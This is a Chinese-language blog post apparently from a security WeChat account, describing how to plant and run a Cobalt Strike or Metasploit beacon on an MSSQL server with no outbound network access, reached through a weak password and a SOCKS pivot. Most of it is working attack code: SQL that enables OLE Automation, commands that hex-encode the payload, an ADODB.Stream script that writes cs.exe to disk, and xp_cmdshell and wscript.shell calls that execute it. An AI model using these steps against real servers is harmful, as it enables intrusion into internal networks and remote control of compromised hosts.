MSSQL不出網文件落地上線方式
聲明:該公眾號大部分文章來自作者日常學習筆記,也有部分文章是經過作者授權和其他公眾號白名單轉載,未經授權,嚴禁轉載,如需轉載,聯系開白。 請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者和本公眾號無關。 |
0x01 前言
一個MSSQL非注入的場景:在內網掃描到一個MSSQL弱口令,支持xp_cmdshell,Administrator權限,但不能出網,DNS也出不了,那么我們該如何將文件落地到目標主機并執行上線呢?
0x02 利用思路
我們可以通過當前這臺能出網的主機開啟一個Socks代理連接不出網主機的MSSQL,然后再利用以下方式將PE文件落地到不出網的MSSQL主機,最終通過出網主機來中轉上線不出網主機。
0x03 啟用OLE組件
在執行命令或寫入文件時都需要用到sp_oacreate,這主要是用來創建OLE對象,所以需要先執行以下SQL語句來啟用“OLE Automation Procedures”組件。
exec master.dbo.sp_configure 'show advanced options', 1RECONFIGUREexec master.dbo.sp_configure 'Ole Automation Procedures', 1RECONFIGURE

0x04 EXE轉換HEX
使用以下方式將生成的CS/MSF攻擊載荷文件轉換為HEX編碼,這里我找了幾個可以轉換HEX編碼的方法,Linux的xxd命令,python腳本,或者010editor編輯器,根據個人習慣選擇吧。
(1) Linux exe -> hex
xxd -ps beacon.exe hex.txt

(2) python exe -> hex
import binasciifilename = 'beacon.exe'with open(filename, 'rb') as f: content = f.read()print(binascii.hexlify(content))

(3) 010editor exe -> hex
利用這種方式拷貝下來的HEX也能使用certutil.exe -decodehex正常解碼,但如果要用OLE組件寫入時就還需要做下處理,將空格、換行都刪掉,全部放在一行即可。

0x05 EXE文件落地
將我們上邊轉換好的HEX編碼放在第一行,加上0x,然后在本地的Navicat Premium數據庫管理工具中執行即可,這時可以看到cs.exe文件已經成功落地到目標主機的磁盤。
注:xp_cmdshell組件調用的是cmd.exe,所以在利用這種方式寫入大文件時可能會出現字符長度限制等問題。
DECLARE @DATA VARBINARY(MAX) = 0x-hex DECLARE @filepath VARCHAR(MAX) = 'C:\\Windows\\temp\\cs.exe' DECLARE @ObjectToken INT EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT EXEC sp_OASetProperty @ObjectToken, 'Type', 1 EXEC sp_OAMethod @ObjectToken, 'Open' EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2 EXEC sp_OAMethod @ObjectToken, 'Close' EXEC sp_OADestroy @ObjectToken SELECT @filepath


0x06 執行EXE上線
這時再利用xp_cmdshell、sp_oacreate等方式去執行剛落地的cs.exe即可上線。這里我只是根據這種場景進行了簡單的模擬測試,不出網主機上線方式可參考我之前分享的。
利用MSF上線斷網主機的思路分享、利用goproxy http上線不出網主機、利用Pystinger Socks4上線不出網主機 。
xp_cmdshell:
exec master..xp_cmdshell "cmd /c C:\\Windows\\temp\\cs.exe"
sp_oacreate:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c C:\\Windows\\temp\\cs.exe'

